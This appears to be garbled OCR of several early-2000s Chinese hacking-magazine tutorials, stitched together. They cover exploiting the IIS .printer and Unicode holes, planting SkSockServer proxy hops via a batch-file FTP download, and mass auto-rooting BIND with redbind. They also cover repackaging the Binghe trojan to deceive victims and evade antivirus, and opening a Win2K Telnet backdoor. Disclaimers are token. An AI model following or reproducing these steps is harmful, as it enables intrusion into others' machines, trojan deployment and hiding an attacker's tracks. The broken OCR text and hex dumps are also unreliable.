端 服务 开放 的 端口 ,80 我 不 说 也 你 应 该 知道 ,iis5.0

的 web 服务 器 ,有 个 比较 新 的 . printer 漏洞 ,对 于 没 打

spk2 的 主机 都 存在 。 在 扫描 到 的 主机 中 随便 挑 一 。 然

后 利用 iisx3. 0( 这 是 一 个 针对 TS5 中 文 版 . printer 远

程 溢出 程序 ), 即 . printer 漏洞 远程 溢出 工具 , 搞 个 溢

出 , 以 取得 系统 的 admin 权限 。 拉 出 cmd. exe( 假 设 主

机 为 11. 22. 33. 44) ,

上: Miisx> jisx. exe 11. 22.33.44 -a

sending shellcode. . .

Now net use \\11. 22. 33. 44 \ipc 瘦 ”hax” Auser: ”

pax

卫 : \ iisx> net use \11.22. 33. 44\ ipc 和 ”hax”/

User: ”hax?”

命令 成 功 完成 。

这 就 表明 在 主机 11. 22. 33. 44 上 面 有 了 一 个 你

文 / 中 国 磨 派 :eyer00t

自己 的 admin 帐号 。 这 样 就 完成 了 控制 主机 的 第 一

步 ,建立 超级 帐号 。 漏 洞 比较 大 人 侵 也 比较 容易 。

第 二 步 , 用 终端 服务 客户 端 连 到 主机 上 面 , 使 用

的 帐号 当然 是 刚才 溢出 时 建立 的 , 即 hax/hax。 连 上 以

后 , 再 象 操作 本 地 主机 一 样 操作 远程 主机 。 在 本 地 主

机 上 打开 tfp 服务 器 , 因为 我 们 要 做 sock 代理 , 所 以

的 放 一 个 代理 软件 上 去 , 设置 好 目录 以 后 , 再 在 远程

主机 上 打开 emd. exe, 我 们 要 使 用 的 代理 软件 是 snake

写 的 sksockserver, 可 以 到 http; /Asnake12. top263. net

下 载 。 假 设 本 地 主机 的 ip 为 11. 22. 11. 22 在 命令 行

中 输入 如 下 命令 :

c: \hax> tp - 工 11.22. 11. 22 get skguj. exe

以 下 是 操作 过 程 的 截图 (图 1):

第 三 步 : 上 传 成 功 后 , 便 可 以 在 远程 主机 上 面 找

到 我 们 上 传 的 代理 软件 , 当然 上 传代 理 软件 的 方法 不

仅仅 是 使 用 tfp 服务 器 , 还 可 以 使 用 f 弛 , 如 果 对 方 的

主机 上 有 winzip 解压 软件 的 话 , 可 以 直接 使 用 ie 来 下

载 。

好 了 现在 我 们 已 经 把 需要 的 软件 放 到 了 远程 主

机 上 ,, 现在 要 做 的 一 件 事情 便 是 打开 代理 , 设置 你 想

设置 的 代理 端口 。 图 2 是 代理 设置 的 截图 , 图 上 表明

我 们 已 经 连接 成 功 :

设置 的 端口 是 软件 默认 的 1913 , 这 个 可 以 自己

设 定 , 设置 方法 为 点 击 config, 再 选中 option , 在 server

port 里 面 的 软件 默认 的 1913 改 成 你 想 要 设置 的 端口

snake 的 sksockserver( 代 理 跳板 ) 是 一 个 非常 好 的

的 socks5 代理 服务 器 。 它 非常 小 巧 , 才 32K, 但 是 可 以

比较 完整 的 支持 tcp 协议 和 udp 协议 ,也 支持 oicq , 而

且 它 具有 将 通信 数据 在 各 跳板 之 间 加 密 的 功能 。 这 使

我 们 能 很 好 的 掩盖 自己 网 上 踪迹 。 不 过 , 使 用 它 需要

一 定 的 服务 器 人 侵 知 识 , 这 对 新 手 菜鸟 是 个 很 大 的 挑

战 。 因 此 ,我 写 下 这 篇 文章 ,希望 对 大 家 有 所 帮助 。

所 需 软 件 :

流光 4 _ http: / /www. netxeyes. com/

代 理 跳板 SkSockServer

snake12. top263. net

代理 猎手 http: /Adzc. 126. com/

操作 环境 :win98 、winme、win2k、winxp、winnt 4. 0,

最 好 为 win2k、winxp winnt 4. 0

准备 工作 :请 申请 一 个 t 空间 ,现在 的 免费 主页

大 都 带 有 ftp 空间 的 。 假 设 申请 的 ftp 空间 地 址 为

ftp. server. com , 用 户 名 为 ttm , 密 码 是 pass 。 将

SkSockServer. exe 改名 为 char. exe 上 传 到 ftp 空间 。 改

名 的 目的 当然 是 为 了 不 那么 起 眼 ,你 随便 改 好 了 。

http: /7

文 /Nicky

步骤 1: 在 C 盘 根 目 录 下 面 建立 一 个 文本 文件

pp. txt, 内容 如 下 :

注意 了 , 请 用 你 的 真实 的 fi 网 站 地 址 、 用 户 名 、

密码 代替 上 面 的 ftp. server. com 、tom 和 pass , 否则

就 不 会 成 功 的 。 现 在 来 检查 你 的 文件 是 否 正 确 , 复制

一 份 pp. txt , 将 它 的 扩展 名 改 为 bat , 即 将 文件 改名

为 pp. bat 。 拨 号 上 网 ,执行 pp. bat ,如 果 你 没有 写 错 ,

生生 详 迁 0 二 1 en SATLSHT 所 肌 2

TREE TREE 人

灾 站 站 0 Sr TO

即 可 。

成 功 的 做 好 了 一 个 sock5 的 代理 以 后 余下 想 要

做 的 事情 就 由 你 自己 决定 了 , 你 可 以 直接 用 他 来 做

oicq 的 代理 , 有 人 经 常 问 我 怎么 来 隐藏 oicq 的 ip 地

址 , 那 这 便 是 个 方法 , 当然 你 也 可 以 使 用 SocksCap 这

样 的 软件 来 设置 ie 的 http 代理 。 总 之 有 了 目 己 的

sock5 代理 可 以 做 一 些 自己 想 做 的 事情 。 就 看 你 怎么

利用 了 。 对 于 一 个 黑客 那 他 想 做 的 事情 当然 就 是 使 用

sock5 代理 来 隐藏 自己 。

以 上 是 本 人 对 制作 跳板 的 一 些 了 解 , 在 高 手眼 里

是 一 件 很 菜 的 技术 , 但 我 想 这 对 广大 的 初级 技术 爱好

者 应 该 会 有 所 帮助 。 另 外 需要 声明 一 点 。 本 人 坚决 反

对 使 用 它 来 做 非法 的 事情 , 不 听 功 告 , 由 此 而 引发 的

非法 做 为 跟 本 人 无 关 。 最 后 请 大 家 和 我 一 起 为 中 国 的

互连网 安全 努力 。

那 在 pp. bat 所 在 目录 下 面 应 该 会 有 一 个 char. exe 。

如 果 cehar. exe 文件 不 在 , 检 查 你 的 网 络 连接 是 否 正

常 , 自 己 用 fpp 软件 去 看 看 自己 的 空间 里 面 是 否 有

char. exe 这 个 文件 。 最 重要 的 要 检查 ftp 服务 器 有 没

有 写 错 , 用 户 名 和 密码 是 否 正确 。

我 来 解释 一 下 这 个 文件 的 意思 . 如 果 你 学 过

dos ,就 会 很 清楚 上 面 pp. txt 文件 的 作用 了 。

echo 命令 是 在 屏幕 上 显示 你 输入 的 字符 。 如 ,在

dos 下 面 , 输 入

echo hello

那 它 就 会 显示

hello

“> “是 管道 重 定向 符号 ,执行 dos 命令

echo hello> a. txt

命令 执行 的 结果 是 将 hello 写 在 一 个 a.txt 文件

上 ,原先 a. txt 文件 的 内 容 会 被 删 掉 , 变 成 只 有 hello

这 个 单词 。 如 果 a.txt 文件 不 存在 , 那 它 会 自己 生成 一

个 新 文件 “> > ”和 ”> ”不 同 的 地 方 是 它 不 会 删

掉 文 件 原 有 的 内 容 , 只 会 在 文件 后 面 追加 新 内 容 。

好 了 ,我们 来 看 pp. txt 文件 执行 的 结果

上 面 这 几 个 命令 执行 的 结果 是 在 当前 路 径 下 生

成 一 个 af txt 文件 ,内 容 如 下 :

然后 是 执行 fp -s:aftxt

af. txt 文件 是 一 些 即 命令 , 执行 的 结果 是 先 连接

到 ftp. server. com 这 个 ftp 服务 器 , 然后 输入 用 户 名

tom, 输入 密码 pass,, 再 转 人 二 进 制 传输 模式 , 接着 是

下 载 char. exe 这 个 文件 , 最 后 用 bye 命令 退出 名 服

务 器 。

下 面 的 就 没有 什么 好 说 了 , del a. txt、del af. txt 分

别 是 删除 a.txt ,af. txt 文件 ,char - debug 5262 是 在

5262 端口 上 进行 socks5 服务 。

步骤 2: 打开 流光 4, 按 Ctrl +R , 在 弹出 的 对 话

框 中 , 填写 你 想 搜索 的 耳 范围 , 建议 搜索 台湾 、 美 国

或 者 日 本 的 网 站 , 它们 漏洞 比较 多 。 扫 描 主机 类 型 改

为 JSZFrontPage, 这 里 我 搜索 210.59.70.1 -

210. 59. 72. 254 。 搜 索 结 束 后 会 弹出 提示 的 , 这 里 我

用 了 约 5 分 钟 时 间 。 在 流光 中 间 一 栏 会 出 现 你 搜索 到

的 结果 ,分 为 主机 `、 系 统 版 本 类 型 、 描 述 四 项 。 如 果 主

机 是 黑色 的 , 也 就 是 在 类 型 那 一 栏 里 写 着 Remote Ex-

cuteX,(X 是 从 A 到 刁 之 间 的 字母 ,) 那 这 台 主 机 就

是 有 unicode 漏洞 了 。 点 击 它 , 选 连接 ,将 允许 ITS 检

测 CMD 去 掉 , 然 后 我 们 就 可 以 执行 命令 了 。

步骤 3: 先 输入 一 个 命令 ,看 看 它 是 否 允 许 我 们

写 人 文件 。 我 们 输入

echo hello> a. txt

这 时 ,可 能 出 现 几 种 提示 :

A. 如 果 人 允许 写 人 文件 ,就 会 显示

[echo hello> a.txt]

那 这 人 台 服 务 器 就 可 以 作为 我 们 的 跳板 了 。

B. 服务 器 不 允许 写 人 ,那么 会 显示

[echo hello> a. txt]

Access js denied.

这 表示 这 人 台 服 务 器 不 允许 我 们 写 和 人 文件 , 去 找 下

一 台 吧 ,这 人 台 没 戏 了 。

C. 使 用 了 陷阱 技术

[echo hello> a. txt]

HTIIPZ1. 1 502 Cateway Error ,

那 可 能 是 主机 做 了 一 定 的 防范 措施 , 但 通常 是 已

经 成 功 写 人 文件 了 ,如果 没 有 ,就 试 多 几 次 ,一 般 都 能

成 功 。

D. 其 它

我 也 不 知道 原因 了 。 试 试 直接 执行 下 面 步骤 吧 ,

也 许 会 成 功 。

好 了 ,出 现 A 和 C 的 情况 , 那 表示 这 人 台 主 机 可 以

作为 跳板 了 。 再 输入

local file: c: \pp. txt

这 个 命令 就 是 让 流光 依次 执行 c: \pp. txt 里 面 的

指令 , 免除 我 们 一 个 个 输入 的 麻烦 。 它 的 输出 大 致 如

下 ;

在 有 些 机 器 上 执行 的 输出 有 些 差异 , 但 基本 上 是

这 样 的 。 如 果 在 其 中 的 某 一 个 命令 出 现 了 “ HTTP/

1. 1 502 Gateway Error ”, 有 时 你 要 重新 执行 一 下 lo-

cal file: c: \pp. txt。

如 果 出 现 Connect Failed , 那 可 能 是 你 的 网 络 连

接 有 问题 ,检查 一 下 是 不 是 掉 线 了 ,再 重新 执行

local file: c: \pp. txt

步骤 4: 我 们 现在 来 验证 跳板 是 否 真正 运行 。 运

行 代理 猎手 , 添 加 结果 , 将 上 面 那 台 主 机 的 耳 加 上

去 ,端口 是 5262 ,协议 是 socks5 。 验 证 它 的 结果 是 否

free。 如 果 是 就 行 了 。 不 是 重新 执行 一 次 local fle c'、

pp. bt 吧 。 再 不 行 只 好 放弃 了 , 另 外 找 一 台 机 器 好

了 。 关 掉 IHS 远程 命令 行 ,再 选择 另外 一 台 有 unicode

漏洞 的 机 器 重复 步 又 三 , 这 样 就 可 以 将 所 有 搜索 到 的

unicode 漏洞 机 器 作为 你 的 跳板 了 。

步骤 5: 运行 skserver 图 形 版 本 , 选 配置 -经 过 的

skserver ,将 刚才 弄 好 的 一 两 个 跳板 加 上 去 。 在 这 里 不

要 加 太 多 的 跳板 , 否 则 会 影响 你 的 浏览 速度 ,如 果 没

有 特殊 需要 ,一 个 就 可 以 了 。 按 ok 后 在 命令 里 面 选 择

停止 , 再 选择 开始 , 你 现在 就 拥有 了 一 个 加 密 的

socks5 代理 。 可 以 用 sockscap 或 者 nec e - border client

等 socks 接口 软件 来 调度 你 的 网 络 程序 ,现在 就 尽情

的 名 浪 吧 。

注意 事项 : 当 你 利用 unicode 漏洞 时 候 , 你 会 在

主机 上 面 留 下 耳 记录 , 所 以 一 定 不 要 在 国内 的 服务

器 上 面 作 这 种 实验 ,否则 后 果 自 负 ! 因为 利用 unicode

漏洞 得 到 的 权限 很 低 , 所 以 不 能 让 sksockserver 作为

服务 运行 , 也 就 不 能 让 它 每 次 开机 自动 运行 了 。 如 采

它 停 了 你 可 以 很 方便 的 再 次 运行 它 。 和 建立 时 候 一

样 ,打开 IS 命令 行 , 然 后 运行 这 个 命令 就 可 以 了

char - debug 9202

致谢 : 非常 感激 snake 的 代理 跳板 ,, 它 让 我 可 以

穿 过 学 校 的 封锁 ,尽情 的 冲浪 。 也 谢谢 小 榕 , 它 的 流 ;

是 我 见 过 最 强大 而 简单 的 黑客 软件 。 当 然 了 , 我 更 加

不 会 忘记 太阳 风 , 他 的 代理 狂 手 是 带领 我 走 进 网 络 之

门 的 程序 。 ” 侍

在 Mandrake 7. 0 中 ,bind 以 user/group

的 root 身份 执行 。 这 样 能 很 容易 的 突破 限制 ,

并 且 一 个 切换 中 的 用 户 能 很 容易 的 在 named

中 增加 选项 。

二 、 实 现

这 里 介绍 一 种 叫做 redbind 的 工具 。 首 先

你 必须 有 一 台 linux 跳板 ,登陆 后 , 上 传 red-

bind. tgz, 解压 缩 后 , 无 需 编译 , 包含 有 三 个 文

件 redscan,redbind,redbindl1, 通 常会 目 动 生

成 一 个 redbind 目录 。

cd redbind

$. /redbind 61. 132

现在 假设 开始 扫 一 个 B 段 , 并 且 会 自动

攻击 有 漏洞 的 主机 . 攻击 成 功 自动 出 来 一 个

”rootshel 。

你 可 以 用 :

和 $. /usr/sbinyadduser www 开 个 www 账

$$. /usr/bin/passwd www 给 他 加 个 密码

如 果 你 想 推出 rootshell, 按 ctrl +e 后 继

续 扫 描 ; 如 果 扫 描 停 顿 , 也 可 按 cal +e 后 继

过 本 文 后 ,你 使 用 木马 的 技巧 肯定 又 能 Level up 了 。

现在 黑市 (黑客 超市 ) 上 关于 木马 冰河 的 版 本 很

多 , 各 个 版 本 的 功能 大 体 相 似 , 大 多 只 是 改 了 资源

(Resource)。 我 们 可 以 更 改 冰河 的 资源 达到 以 下 目的 :

1. 更 改 冰 河 服务 端的 图 标 , 使 其 更 具有 坎 骗

性 。

2. 更 改 冰 河 服务 端的 万 能 密码 , 做 个 有 自己 个

性 的 冰河 。

3. 更 改 冰河 的 更 多 信息 , 使 得 普通 杀毒 软件 更

难 辨 认 。 下 面 我 们 就 说 一 说 冰河 的 改制 过 程 。

所 用 工具 有 冰河 的 最 初版 本 、VC + + 6. 0( 微 软

可 视 化 编程 软件 )、.UltraEdit32( 一 个 文件 编辑 器 ) .upx

一 个 压缩 的 解压 软件 、 诺 顿 杀 毒 软件 〈 检 验 改 装 效

果 )。

我 们 把 冰河 放 到 一 个 目录 下 , 我 们 这 里 是 已 、

lab \hack \binghe 共 两 个 文件 G_Servwer. exe: 被 监控 端

于 台 监 控 程 序 , 运 行 一 次 即 自动 安装 , 可 任意 改名 ;

C_Client, exe: 监控 端 执行 程序 , 用 于 监控 远程 计算 机

和 配置 服务 器 程序 。

更 改 冰 河 服务 端的 图 标

oog3244964343203550 5830302E3234320 7 -Idz EX Do24

0 9 T2 59 们 60 4 20 28 4 23 20 3 39 : CopTeigxt 4C) 19

= 32 6 3p 31 33 33 32 20 4 41 7] ?4C 4F 10 1D 7 586-1223 Lasgle 凑

3 CC EC 51 72 20 26 20 49 61 ?2 6 75 73 2 47 : olzar f Rarxu3

3 0 34 43 64 3 beraomoer 半 。 和 d:

3 30 ES 5520303F36312043 FT07972 63 : KEY 0.6 Copyrt

xz 2 ce 74 29 20 43 29 30 3 33 33 36 z? 31 39 33 z qhr (C) 1338-192

3 339204617z4835 73 3046 2L56 2XF 4A2F20 : 久 机 ckua 了 .和

4 5 00 34 4C 《3 二 CEerhvmer 二 -和

FE 3 0 0 5 re

5 505026973 20646933 347243 人 75 74 65 : 7Xi3 dizrrtpure

420 75 CE 6 6S 72 20 33 30 565 6] 89 61 8C 20 : 贡 wmdec 9pecigsl

SC 4 3 45 20 24 0 00 55 50 53 21 bc =

:09 cz Oot gl 6E 6 4 35 BR SR BE 9E 4C 08 DO 27 :

sz 6 3 0 50 34 OA GO 36 15 09 6 FTP FF ?9 PP Ai z 3--

> 5C Ja 43 mo cl TO oz b0 07 57 5S1 33 CO 8F 7C :

5 7 49 DO FMC 7C Do4 TD 7 FT TF 33 CF 76 03S 2 =

:Cr CT AS SF 53 6 OO YR 1S5 D8 TD 80 ES DO

3505 0 TT 58 SA CC TD TY 93 05 TF 3C DL 36 15 0

编者 按 : 自从 特洛伊 木马 病毒 问世 以 来 , 病毒 的 功能 越 来 越 强

大 , 但 不 论 如 何 变 化 , 此 类 病毒 的 设计 思路 和 工作 原理 是 不 变 的 ,

所 以 ,大 家 把 精力 越 来 越 多 地 用 在 如 何 擅 装 及 成 功 植 入 病毒 上 ,看

打开 UltraEdit32 找到 服务 端 G Server."exe 打开 ,

如 图 1 所 示

我 们 注意 图 一 中 用 鼠标 画 上 的 部 分 , 显 示 $imfo:

This file is packed with the UPX executable packer

http: /Zupx. tsx. org。 表 明 我 们 打开 的 冰河 版 本 是 用

UPX 压缩 过 的 。 于 是 到 那里 的 提示 找到 了 UPX 这 个

软件 ,下 载 完 毕 .UPX 是 一 个 命令 行 的 压缩 软件 ,于 是

我 们 解压 zip 包 到 冰河 所 在 目录 FE \ lab\ hack'

binghe\。 如 图 2

我 们 再 看 看 冰河 G_server 属性 ,从 原来 的 266KB

们 又

O

压 成 功 了

1318KB

说 明 我 们 解

变 成 了 现在 的 693KB

用 同样 的 方法 解

OD

exe,

打开

(.

t

选择

jles

F

le

CCl

0

打开 方式 Resources

?

Xe

打开 vc+ + 6

文件 类 型 Executable

re

将 才 省 寺 二

水 平一 般 , 可 以 看 出 可 以 通过 Com-

语 z

YY

笔者 的 英

mands 对 文件 进行 压缩 和 解压 操作 。 压 缩 运行 UPX

-1+ 参 数 (1 到 9)+ 文件 名 , 解压 UPX-d+ 文件

名 。

dll ocx)

5

7

X

M

站 巴

1

en

PP

4

1 E

进行 解 必 D

exej

我 们 对 G_server.

汪汪 革

et

找到 icon 中 的 MAINICON, 看 到 了 我 们 要 的 图

不 成 功 , 原 来 目

文件 处 于 写 保 护 状 态 ,更 改

保护

上 让

rs

Er

图 4

选择 icon 中 的

?

示 了

个 图

以 更 改 这

我 们 可

Sr

MAINICON 点 击 右键 ,选择 Improt , 我 们 选择 一 个 icon

文件 , 删 除 资源 文件 的 MAINICON, 把 新 倒 人 的 文件

图 标 名 称 改 成 MAINICON 后 保存 ,我 们 就 得 到 了 这 个

文件 的 新 图 标 。

我 们 用 同样 的 办 法 可 以 更 改 文 件 其 他 图 标 资

源 。 要 达到 欺骗 目的 我 们 更 改 了 服务 端 G_Server. exe

图 标 资 源 。 更 改 好 的 图 标 如 图 3:

怎么 样 GC_Server. exe 的 能 不 能 欺骗 到 你 呢 ? 哈 哈 !

最 后 别 忘 记 了 用 UPX 压缩 我 们 的 文件 。 具 体 命

(我 们 这 里 用 的 是 最 大

令 为 : upx -9 G_Server. exe

的 压缩 比例 )

更 改 冰 河 服务 端的 万 能 密码

我 们 用 UltraEdit32 打开 解压 后 的 G_Server. exe,

我 们 知道 冰河 的 密码 是 05181977。 我 们 选择

Search => Find 查找 内 容 05181977 字 节 属性 为

ASCII。 如 图 6 所 示 :

图 6

于 是 我 们 找到 了 冰河 的 万 能 密码 , 如 图 7 鼠标 圈

上 蓝 线 的 所 示 :

我 们 更 改 这 8 个 数字 就 可 以 了 。

如 果 我 们 不 知道 一 些 版 本 的 冰河 , 也 可 以 用 UL-

tragdit32 打开 那个 未 知 的 版 本 和 这 个 版 本 进行 比

较 。 既 可 以 得 到 一 个 惟一 的 不 同 处 ,就 是 万 能 密码 。

Co008b6dah: 900 00 0A 00 OA 00 5C 00 54 78 73 46 69 6C 6 9 -人

0008b6e0h: 0 00 0A D0 31 00 00 00 00 00 8B3 F5 CA 重 愉 -天生 基 利 汪 各 全 全 站 全 要 十 化

0008b5foh: 27 74 6F 6F 6C 68 65 6C 70 27 CA AM7 30 DC 21 00 : 'toolhelp' 失 败 !,

0008b700h: 4D 65 73 73 61 67 65 00 2C 00 2C 00 30 00 00 00 : Kessage. iv, 人

0006b?10h: 00 00 00 46 41 49 4C 53 00 咖 46 41 49 4C 53 09 : ...FAILS。.FATLS。

00D8Bb720h: 00 346 4t 349 4C 53 00 80 B2 D7 BD c2 37 BE B6 3A ; .FAILS. 安 装 路径 :

0Dosb730h: 20 00 CE Cc4 BC FE C3 FB B3 Cc6 3A 20 00 BD F8 3 : . :

0008b7340h: CC C3 FB B3 Cc6 3A 20 00 BC FO CC FD B6 CB BF ID :人 委 ? .监听 端口

0008b750h: 3XA 20 00 87 C3 CE CA BF DA CL1 FF 3 20 00 c3 ra : ; ,访问 区

0008b760h: B8 D0 D7 D6 87 FB 3A 20 00 D7 xz B2 F1 B1 ED BC ; 避 子 行 : .注册 尿 Q

0008b?7?70h: FC C3 FB 3A 20 00 8B9 8 C1 MA CD FE0 D0 cD 3A 20 ; 7 ,关联 区 型 :

0008b780h: 00 B9 D8 Cl1 4A CE C3 BC TE C3 FTB 3A 20 00 53 4D ; . 基 联 文件 各 :, .sK

0008Bb79Dh: 54 50 87 FE CE F1 c6 F7 3XA 20 00 BD D3 CA D5 49 , T? 和 服务 有 : .接收 T

0008b7aoh: 50 D0 C5 CF E4 3A 20 00 4F 65 77 46 69 6C 65 2F5 ; p 仿 箱 :, .WevFile,

0008b7boh: 65 ?8 65 00 00 00 o0 o0 00 o0 oo o0 54 78 74 46 , exe.,,,,,.,。 TxcF

0008b7coh: 659 6C 65 00 4F 6F ?4 65 50 61 64 2EF 65 78 65 20 ; tle.Notepad .exe

0008b7doh: 25 31 00 6F ?70 65 6F 00 00 OA 00 OA 00 OA 00 DA : st.open,

D006b?e0b: ne 3 DD Pk 00 EREREEETEEREERRSoo 0 sr : ,.. 5

DO0OBbb?7foh: Di C1 FE D3 DO CI T3 Ah3 AC BE DC BE F8 D6 B4 D0 ; 识 饭 形 毁 管

0008b800h: DD C3 FC CL FE 00 0OX D5 FD D4 DA D6 D8 D0 cz c6 : 忻 ?. 正 在 扯 新 D

0008b810Oh: Fa4 B6 JMF BC 5c6 CB F3 BB FA 00 ok p4 B6 B3 cc D6 ; 搞 扑 昼 ?. 远 程

D008b820h: D8 5C6 F4 CA A7 BO DC 00 0A D5 FD D4 DA D6 D8 D0 ; 内 并 o?. 正 在 香 n

0008b830h: cz C6 F4 B6 MF BC Cc6 C8 F3 BB FA 0D0 OA D5 FD D4a , 缕 般 扑 慌 ?. 正 D

0008b840h: DA B9 D8 B1 D5 BC C6 CB F3 BB FA 00 OA D4 3B6 83 ; 诠 毛 占 扑 展 ?. 远 D

0008b850Oh: CC B9 D8 BB FA Ch A7 BO DC 00 OA D5 FrFD D4 DA 389 ; 坦 效 ”0?, 正 在 0

0008b850h: D8 B1 Dp5 BC C6 CB E3 BB FA DD DA D5 FD Da DA D6 : 毛 占 扑 民 ?7. 正 在 0

0008b870h: D8 Da Cc2 BC D3 D4 D8 B?7 FE CE F1 C6 F7 B6 CB B3 ; 各 和 扒

0008bs8oh: CC D0 F2 A3 AC c7 FEB D3 DA 35 C3 FEB D6 D3 BA FT3 ; 妊 颖 脸 ? 秒 钟 后

0008b890h: D6 DB D0 C2 Cl AMC BD D3 00 OA BT FE CE FT1 C6 F7 : 呈

0D008b8ao0h: B6 CB BC F0 BF D8 B3 CC D0 F2 D? D4 8B6 AF D0 86 ; 端 监控 程序 目 动 审

00oababoh: D4 D8 CD EXA Bl CF 00 57 69 6F 64 6F 17 73 20 FF ; 载 完 毕 .Vindows

0008bBcoh: FF 00 00 OA B? 2 CB CD D0 c5 CF Jz2 83 c9 89 AM6 ; .,. 发 送信 息 成 功

0008bBdoh: 00 OA DO c5 CF AM2 D2 D1 3B1 BB BD D3 CA D5 00 3F : ,, 信 息 已 披 拉 收 .>

0008b8BeDh: 20 00 6B 565 79 2F 6C 6F 67 00 OA BB F7 BC FC 3cC ; .kxey.log. ,出 键 D

00908b8fOh:; c?7 C2 BC C6 F4 B6 AMF B3 5C9 B9 A6 00 ok c6 F4 86 : 匆 计 入 阿 ?. 局 0D

图 7

更 改 冰 河 得 更 多 信息

要 实现 这 个 功能 也 很 简单 , 我 们 知道 大 部 分 杀毒

软件 都 是 由 一 个 软件 和 病毒 库 组 成 。 杀 毒 软件 要 想 识

别 一 个 病毒 就 会 看 被 感染 文件 是 否 含 有 特征 的 字

符 。

知道 了 这 个 我 们 就 可 以 更 改 冰河 的 特征 字符

证 站

我 们 用 UltraEdit32 打开 解压 后 的 G_Server. exe,

利用 查找 工具 查找 相关 字符 。 删 除 例如 冰河 , 木 马 ,

05181977,binghe 和 黄 从 喜 欢 的 歌词 铁窗 (服务 端 有

一 段 铁窗 的 歌词 ) 等 。 最 后 在 用 upx 压缩 就 可 以 了 。 这

样 我 们 用 杀毒 软件 再 扫描 病毒 就 找 不 到 了 。 如 图 8:

Operate UPX

图 8

最 后 我 们 不 得 不 再 说 一 句 , 已 之 不 欲 , 勿 施 于

不 甘 寂 寞 的 双 indows 2000 在 系统 里 自 带 了 TEL-

NET 服务 ,但 却 使 用 了 NT4 时 代 的 身份 验证 机 制 。

NTLM(NT LAN MANAGER )。

一 、\ 原 来 的 方法

记得 以 前 的 文章 里 在 谈 到 使 用 WIN2K TELNET

服务 做 入 侵 后 门 的 时 候 , 就 是 因为 这 个 NTLM 验证 导

致 整个 过 程 非常 烦琐 。 呵 呵 ,费时 费力 。 我 整理 了 一 下

1. 获得 对 方 管理 员 帐 号 的 密码 ;

2. 启动 对 方 TELNET 服务 ;

3. COPY 一 个 修改 注册 表 的 可 执行 程序 到 对 方 机

器 上 (呵呵 ,记得 小 榨 写 了 一 个 吧 ) ;

4. 利用 计划 任务 去 运行 那个 传 上 去 的 程序 (如

果 计 划 任 务 没有 启动 ,还 需要 远程 将 其 启动 );

5. 停止 并 重启 TELNET 服务 ;

6. 在 客户 端 进行 连接 , 需 要 输入 对 方 机 器 用 户

名 、 密 码 。

在 这 一 过 程 中 , 可 以 简化 为 , 先 不 启动 TELNET

服务 , 不 COPY 修改 注册 表 的 工具 , 而 直接 通过 本 地

的 注册 表 来 管理 对 方 的 注册 表 , 直 接 图 形 界面 修改 ,

再 利用 AT 去 启动 TELNET 服务 。

比如 , 我 利用 regedit. exe 连接 网 络 计算 机 的 方式

连接 上 了 对 方 机 器 (192. 168. 0. 12) ,如 图 1。

REG_PPAD 王

找到 HEEY LOCAL MACHINE\ SOFTWARE\ Mi-

”crosoft\ TelnetServer\ 1.0 下 的 NTLM 键 , 将 缺 省 的 值

“22? 修 改 为 人 1 ”或 者 “0” 吕

2

这 样 ,TELNET 服务 的 登录 验证 方式 就 已 经 被 修

改 了 。

然后 使 用 “netsvec \\ 192. 168. 0. 12 telnet /start?

这 样 的 方法 去 启动 TELNET 服务 。

在 这 里 特地 要 多 罗 哑 几 名

0: 代 表 不 使 用 NTLM 身份 验证 ,而 使 用 输入 用 户

名 /密码 的 方式 验证 。

1: 代表 先 尝试 NTLM 身份 验证 , 如 果 失 败 , 再 使

用 用 户 名 /密码 的 方式 进行 验证 。

2: 代表 只 使 用 NTLM 身份 验证 。

二 .其实 我 们 可 以 这 样

当 我 们 在 用 telnet 客户 端 去 连 远程 的 WIN2K

TELNET 服务 器 的 时 候 ,系统 是 这 样 说 的 ;

“您 将 要 发 送 密 码 信息 到 Interet 区 域 中 的 远程

计算 机 。 这 可 能 不 安全 。 是 否 还 要 发 送 (y/n):”

呵呵 , 很 明显 ,系统 会 用 当前 用 户 的 身份 去 尝试

连接 远程 的 系统 ,由 于 身份 不 同 , 自然 验证 关 是 过 不

了 的 。

了 呵呵 ,所 以 , 我 们 除了 修改 服务 器 端的 验证 方式

之 外 ,还 可 以 修改 自己 连接 身份 路。

LOOK ,看 例子 。

我 取得 了 对 方 服务 器 (192. 168. 0. 12) 的 管理 员

帐 导 和 密码 。

首先 , 确 认 通 过 NET USE 建立 会 话 确认 密码 帐

号 没有 问题 ,如 图 2。

从 TS

让 和 六

RCR 蒜 RE 2 过

愉 RE ES SR 乏 人

9 让 TEL F 丰 < NS 7 Te

用 户 名 为 :admin, 密 码 为 :passwd

这 时 候 , 启动 远程 服务 器 的 TELNET 服务 , 如 图

下 3

这 样 TELNET 服务 就 已 经 在 对 方 服务 器 上 局 动

了 O

下 一 步 ,我 们 在 自己 的 机 器 上 添加 一 个 和 对 方 相

同 的 帐号 。 如 图 4。

5

图 4

然后 选中 开始 一 程序 一 附件 一 命令 提示 符 , 并 单

击 右键 调 出 属性 ,如 图 5。

ES 油

md exe

图 5

将 “以 其 他 用 户 身 份 运行 "选项 选中 ,再 单 击 命令

提示 符 , 启动 cmd, exe, 系统 会 弹出 一 个 提示 框 , 如 图

6。 将 刚才 创建 的 帐号 名 称 / 密 码 输入 即 可 , 这 时 , 系

统 就 创建 了 一 个 以 admin 身份 运行 的 cmd. exe 程序 。

最 后 , 在 这 个 环境 里 , 用 telnet 192. 168. 0. 12 去

5 站

Te

连接 对 方 服务 器 ,就 很 顺利 地 出 现 了 ,如 图 7。

呵呵

搞定 了 ,总 结 一 下 步骤

1. 获得 对 方 管理 员 帐 号 的 密码 ;

2. 启动 对 方 TELNET 服务 ;

3. 本 机 添加 一 个 相同 的 帐号 ;

4. 本 机 修改 cmd. exe 程序 的 启动 模式 ;

5. 在 客户 端 进行 连接 , 不 需要 输入 对 方 机 器 用

户 名 和 密码 就 连 上 了 。

快 多 了 吧 ?

这 种 方法 的 最 大 好 处 就 是 , 不 需要 修改 远程 服务

器 上 的 任何 配置 , 只 需要 正常 启动 对 方 的 TELNET 服

文 / iceblood

现在 的 企业 当中 一 般 都 是 使 用 的 NT 系统 , 也 不

得 不 承认 ,NT 系统 的 确 是 非常 适合 企业 使 用 的 操作

系统 ,然而 黑客 的 攻击 引 来 的 企业 信息 安全 危机 ……

当 有 人 看 了 这 个 标题 也 许 会 说 :“ 得 到 了 NT 的

Admin 还 能 做 什么 ,还 不 是 想 做 什么 就 做 什么 吧 。" 但

到 底 能 做 什么 呢 ? 能 详细 答 出 来 的 只 怕 不 会 很 多 , 而

且 很 多 企业 系统 管理 员 就 以 为 密码 为 空 没 什么 , 因为

